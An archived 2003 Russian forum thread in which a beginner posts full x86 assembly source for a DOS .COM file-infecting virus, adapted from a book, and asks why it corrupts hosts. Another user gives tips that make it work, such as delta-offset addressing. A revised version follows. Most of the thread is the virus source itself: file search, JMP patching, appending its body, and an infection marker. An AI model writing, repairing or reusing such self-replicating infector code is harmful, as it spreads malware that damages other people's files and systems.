· Начало · Статистика · WASM.RU · Noir.Ru ·

 WASM Phorum (Оффлайн - 24.11.2003) —› WASM.VIROLOGY —› помогите плззз

Посл.отвђт Сообщенiе


Дата: Мар 31, 2003 16:22:23

я понимаЮ, что мой вопрос есть вопиющее ламерство и недстойное покушение на драгоценные минуты программеров, но в статьях написано, что все когда-то начинают... В свзи с этим вопрос:
Эта муть заражает файл и при этом портит его :(
Помогите найти ошибку плззз!
З.Ы. только, если она логическая, объясните подробно где и в чем, а то я даж асмом занимаюсь сравнительно недавно... респект...
з.з.ы. все нижеследующее не есть предмет моей гордости, в есть скромная попытка понять как работают вири, поэтому не ругайтесь сильно.. :)

code segment
assume cs:code, ds:code, ss:code, es:code
org 100h
start:
jmp vir
vir:
push ds
mov ax, ds
add ax, add_to_ds
mov ds, ax
mov bl, 0
mov cx,3
lea si, old_bytes
restore_bytes:
mov al, [si]
mov cs:[100h][bx], al
inc si
inc bl
loop restore_bytes
mov bx, 80h
mov cx, 80h
lea si, old_dta
save_dta:
mov al, cs:[bx]
mov byte ptr [si], al
inc si
inc bx
loop save_dta

;poisk faila
find_first:
mov ah, 4eh
mov cx, 26h
lea dx, maska
int 21h
jnc xor_si
jmp restore_dta

find_next:
mov ah, 3eh
mov dx, bx
int 21h
jnc dalse
jmp restore_dta
dalse:
mov ah, 4fh
int 21h
jnc xor_si
jmp restore_dta
xor_si: lea si, fn
mov cx, 12
zero_fn:
mov byte ptr [si], 0
inc si
loop zero_fn
lea si, fn
xor bx, bx
save_imia:
mov al, byte ptr cs:[9eh][bx]
cmp al, 0
je open


mov byte ptr [si], al
inc si
inc bl
jmp save_imia

open:
mov ax, 3d02h
lea dx, fn
int 21h
mov bx, ax ; bx-deskriptor(handle)- ne meniat
jnc dls
jmp restore_dta
DLS:
mov ax, 4200h
xor cx, cx
xor dx, dx
int 21h
mov ah, 3fh
lea dx, old_bytes
mov cx, 3
int 21h
jc close


;rascheti
mov ax, cs:[9ch]
cmp ax, 0
jnae find_next
mov ax, cs:[9ah]
mov di, ax
test ax, 0fh
jz para
or ax, 000fh
inc ax ;okruglli do paragrafa v bolshyu storony

para:
push ax
push ax
mov cl, 4
shr ax, cl
mov byte ptr add_to_ds, al
mov byte ptr add_to_ds+1, ah
pop ax
sub ax, 3
mov writ_bytes+1, al
mov byte ptr writ_bytes+2, ah
;proverka

mov ax, 4200h
xor cx, cx
mov dx, di
dec dx
int 21h
jc close
mov ah, 3fh
mov cx,1
;bx-handle
lea dx, last
int 21h
jc close

cmp last, '7'
jne infect
jmp find_next

infect:
mov ax, 4200h
xor cx, cx
xor dx, dx
int 21h

mov ah, 40h
mov cx, 3
lea dx, writ_bytes
int 21h


mov ax, 4200h
xor cx, cx
pop dx
int 21h


mov ah, 40h
mov cx, vir_len
lea dx, vir
int 21h
close:
mov ah, 3eh
mov dx, bx
int 21h


restore_dta:
mov bx, 80h
mov cx, 80h
lea si, old_dta
rest_dta:
mov al, [si]
mov cs:[bx], al
inc si
inc bx

loop rest_dta
pop ds
push cs
push 100h
retf


add_to_ds dw 0
old_dta db 128 dup(?)
maska db '*.com', 0
fn db 12 dup (?)
writ_bytes db 0e9h
db 00h
db 00h



old_bytes db 0e9h
dw vir_len
last db 0
db '7'
; mes db 'вгв $', 0
vir_len equ $-vir
prg_end:
mov ah, 4ch
int 21h
db '7'
Code ends
end start


Дата: Апр 2, 2003 17:42:04

Здравствуй. Насколько мне память не изменяет, ты сейчас пробуешь разобраться с примерчиком из книжки "Пишем вирус и антивирус". Да... было время, я его тоже разбирал. И тоже пару дней убил в тщетной попытке найти ошибку. Скажу сразу - примерчик тот в книжке приведен глючный. Притом, насколько я понял потом, намеренно глючный.
А теперь несколько советов :
Во-первых, забей на округление размера файла до параграфа. Ставь указатель на конец файла и смело сбрасывай туда свой код.
Во-вторых, чтоб определить смещение своего кода в памяти после запуска из зараженной программы, используй конструкцию вида:

start:
call begin
begin:
pop si
sub si, offset begin
После этого ко ВСЕМ своим данным можешь обращаться также, как раньше, но при этом надо писать вместо, скажем,
mov ax, my_data
вот так :
mov ax, [my_data+si]

Ну и наконец, пользуйся активно отладчиком (хотя бы тем же Turbo Debugger). В отладчике сам увидишь, в каких регистрах НА САМОМ деле что находится (мало ли что ты написал !) и по каким адресам НА САМОМ деле идет обращение.

С наилучшими пожеланиями, Димон


Дата: Апр 2, 2003 21:59:00

да,да именно из этой книжки....про этот способ тож где-то слышал, но не полностью...
отладчик юзаю...причем с этой дуростью уже дольше 2х дней....
Вот что получилось:
code segment
assume cs:code, ds:code, ss:code, es:code
org 100h
start:
jmp vir
vir:
push ds
mov ax, ds
db 05h
add_to_ds: dw 0
mov ds, ax
mov bl, 0
mov cx,3
lea si, old_bytes
restore_bytes:
mov al, [si]
mov cs:[100h][bx], al
inc si
inc bl
loop restore_bytes
mov bx, 80h
mov cx, 80h
lea si, old_dta
save_dta:
mov al, cs:[bx]
mov byte ptr [si], al
inc si
inc bx
loop save_dta

;poisk faila
find_first:
mov ah, 4eh
mov cx, 26h
lea dx, maska
int 21h
jnc xor_si
jmp restore_dta

find_next:
mov ah, 3eh
mov dx, bx
int 21h
jnc dalse
jmp restore_dta
dalse:
mov ah, 4fh
int 21h
jnc xor_si
jmp restore_dta
xor_si: lea si, fn
mov cx, 12
zero_fn:
mov byte ptr [si], 0
inc si
loop zero_fn
lea si, fn
xor bx, bx
save_imia:
mov al, byte ptr cs:[9eh+bx]
cmp al, 0
je open


mov byte ptr [si], al
inc si
inc bl
jmp save_imia

open:
mov ax, 3d02h
lea dx, fn
int 21h
mov bx, ax ; bx-deskriptor
jnc dls
jmp dalse
DLS:
mov ax, 4200h
xor cx, cx
xor dx, dx
int 21h
mov ah, 3fh
lea dx, old_bytes
mov cx, 3
int 21h
jc find_next


;rascheti
mov ax, cs:[9ch]
cmp ax, 0
jne find_next
mov ax, cs:[9ah]
mov di, ax
test ax, 0fh
jz para
or ax, 000fh
inc ax ;okruglli do paragrafa v bolshyu storony

para:
push ax
push ax
mov cl, 4
shr ax, cl
mov word ptr add_to_ds, ax
pop ax
sub ax, 3
mov word ptr writ_bytes+1, ax
;proverka

mov ax, 4200h
xor cx, cx
mov dx, di
dec dx
int 21h
jc close
mov ah, 3fh
mov cx,1
;bx-handle
lea dx, last
int 21h
jc close

cmp last, '7'
jne infect
jmp find_next

infect:
mov ax, 4200h
xor cx, cx
xor dx, dx
int 21h

mov ah, 40h
mov cx, 3
lea dx, writ_bytes
int 21h


mov ax, 4200h
xor cx, cx
pop dx
int 21h

mov ah, 40h
mov cx, vir_len
lea dx, vir
int 21h
close:
mov ah, 3eh
mov dx, bx
int 21h


restore_dta:
mov bx, 80h
mov cx, 80h
lea si, old_dta
rest_dta:
mov al, [si]
mov cs:[bx], al
inc si
inc bx

loop rest_dta
pop ds
push cs
mov ax, 100h
push ax
retf


;add_to_ds dw 0
old_dta db 128 dup(?)
maska db 'd:\games\tasm\test\*.com', 0
fn db 12 dup (?)
writ_bytes db 0e9h
db 00h
db 00h



old_bytes db 0e9h
dw vir_len
last db 0
db '7'
vir_len equ $-vir
prg_end:
mov ah, 4ch
int 21h
db '7'
Code ends
end start

но работает все равно коряво....
Причем я даже знаю в чем ошибка...он при восстановлении файла пишет не первые его 3 байта, а 3й и 2 следующих за ним... т.е.
lea si, old_bytes он возвращает, например, не ###Ch, a ###Fh
помогите исправить...мож кто видит, где глюк в коде....ПЛЗЗЗ


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.104